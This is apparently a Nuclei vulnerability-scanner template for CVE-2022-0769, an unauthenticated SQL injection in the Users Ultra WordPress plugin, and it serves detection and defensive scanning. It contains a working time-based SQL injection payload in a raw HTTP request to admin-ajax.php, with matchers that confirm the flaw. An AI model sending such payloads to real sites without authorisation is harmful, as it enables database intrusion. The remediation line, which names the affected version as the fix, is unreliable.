Users Ultra <= 3.1.0 - SQL Injection

id: CVE-2022-0769

info:
  name: Users Ultra <= 3.1.0 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The Users Ultra WordPress plugin through 3.1.0 fails to properly sanitize and escape the data_target parameter before it is being interpolated in an SQL statement and then executed via the rating_vote AJAX action (available to both unauthenticated and authenticated users), leading to an SQL Injection.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  remediation: |
    Update to Users Ultra version 3.1.0 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/05eab45d-ebe9-440f-b9c3-73ec40ef1141
    - https://wordpress.org/plugins/users-ultra/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0769
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0769
    cwe-id: CWE-89
    epss-score: 0.08415
    epss-percentile: 0.9428
    cpe: cpe:2.3:a:usersultra:users_ultra:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: usersultra
    product: users_ultra
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,wp,users-ultra,wpscan,sqli,wordpress,wp-plugin,usersultra,vkev,vuln

http:
  - raw:
      - |
        @timeout: 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=rating_vote&data_id=1&data_target=vote_score+%3d+1+AND+(SELECT+3+FROM+(SELECT(SLEEP(6)))gwe)--+

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "You have to be logged in to leave your rate")'
        condition: and
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